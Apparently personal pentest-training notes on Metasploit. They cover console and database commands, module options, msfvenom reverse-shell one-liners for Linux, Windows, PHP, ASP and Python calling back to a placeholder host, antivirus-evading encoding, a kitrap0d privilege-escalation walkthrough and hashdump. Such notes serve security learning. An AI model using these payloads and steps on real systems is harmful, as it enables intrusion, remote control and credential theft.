Main Components Auxiliary - Any supporting module, such as scanners, crawlers and fuzzers, can be found here.

Encoders - Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.

Evasion - evasion” modules will try that, with more or less success.

Exploits, neatly organized by target system Payloads are codes that will run on the target system.

Console Commands

ls - list contents

ping -c 1 - send a single ping

clear - to clear terminal screen

help - use to help menu for specific commands

history - see commands typed earlier

tab - auto completes type commands

use - use exploit, can also use with number ( use 0)

options - print options related to the exploit chosen

show - used in any context followed by a module type to list available modules ((auxiliary, payload, exploit, etc.)

back - to eave the context

info - to obtain further information on any module within its context. can also be used with path ( info exploit/windows/smb/ms17_010_eternalblue)

search - search the Metasploit Framework database for modules relevant to the given search parameter ( search ms17-010)

search cve:2017 name:smb - search exploit based on cve code

search MS12-020 - search exploit base on Microsoft identifier code

search type: auxiliary telnet - use to direct the search function using keywords such as type and platform

msfconsole - start metasploit console

set - parameters are set using the same command syntax: set PARAMETER_NAME VALUE. Can also be used to override any set parameter

setg - use to set value to use for all modules

unsetg - clear any set value

unset - clear any parameter value

unset all - clear all set parameters

exploit / run - launch module

exploit - z - run exploit and background session as it opens

session - created after vulnerability has been successfully created ( comms channel between target system and Metasploit)

background - background session and go back to msfconsle prompt or CTRL + Z

search portscan - for port scanning

Nmap - for nmap scans (nmap -sC -sV ip address)

exit - exit msf console

Metasploit Database

Help to simplify project management and avoid possible confusion when setting up parameter values. Allow for creating isolated workspaces

systemctl start postgresql - start PostgreSQl database

msfdb init - initialize Metasploit Database

db_status - check database status

workspace - list available workspace ( -a - add a workspace, -d - to delete workspace)

workspace [workspace_name] - use to change workspace.

help - show database backend commands

db_nmap command - save Nmap scans to database

hosts and services - see relevant information on host and services running on target systems

host - h , services -h - to acces help options

services -S - to search for specific services

hosts -R - to add RHOSTS parameter to database

Vulnerability Scanning

search - list useful modules.

info - to have better understanding of a module, its use and purpose.

Exploitation

show payloads - list other commands to use with a particular exploit.

set payload - to choose payload

CTRL+Z - send exploit session to background

CTRL+C - abort exploit session

sessions - list active sessions (-h for help)

sessions -i - to interact with session

Working with Modules

RPORT - Remote port ( preset to 80)

RHOSTS - Remote hosts, the IP address of the target system ( 10.10.10.x – 10.10.10.y)

LHOST - Localhost ip address

LPORT - Local port - the port you will use for the reverse shell to connect back to

SESSION - Each connection established to the target system using Metasploit will have a session ID

CONCURRENCY: Number of targets to be scanned simultaneously.

THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.

MODULES:

smb_version

smb_enumshares

smb_login

search http_version

Msfvenom

Msfvenom help

Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).

msfvenom -l payloads - show payloads

msfvenom --lists format - list supported output format

-f: Output format

-e - use to encode payload to invade antivirus

-p - payload

elf - payload format ( .exe, .py etc)

raw - indicates out format (base 64)

MSF - Setting Up Multi/Handler

used as mutli handler to recieve incomming connection

run msfconsole -q: quiet

use multi/handler

set LHOST

set LPORT

then run

Reverse payloads commands

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Local Exploit Suggester

As a tip, there is a module called the Local Exploit Suggester. We will be using this module for this example, as the Meterpreter shell landed on the IIS APPPOOL\Web user, which naturally does not have many permissions. Furthermore, running the sysinfo command shows us that the system is of x86 bit architecture, giving us even more reason to trust the Local Exploit Suggester.

msf6 > search local exploit suggester

use 2376

show options

set session 2

then run

Having these results in front of us, we can easily pick one of them to test out. If the one we chose is not valid after all, move on to the next. Not all checks are 100% accurate, and not all variables are the same. Going down the list, bypassauc_eventvwr fails due to the IIS user not being a part of the administrator's group, which is the default and expected. The second option, ms10_015_kitrap0d, does the trick.

MSF - Local Privilege Escalation

msf6 exploit(multi/handler) > search kitrap0

use 0

show options

set LPORT

set SESSION 3

then run

Meterpreter

hashdump - use to dump the password hashes

metasploit payload for pentest, agent for command and control. runs on target system but not installed
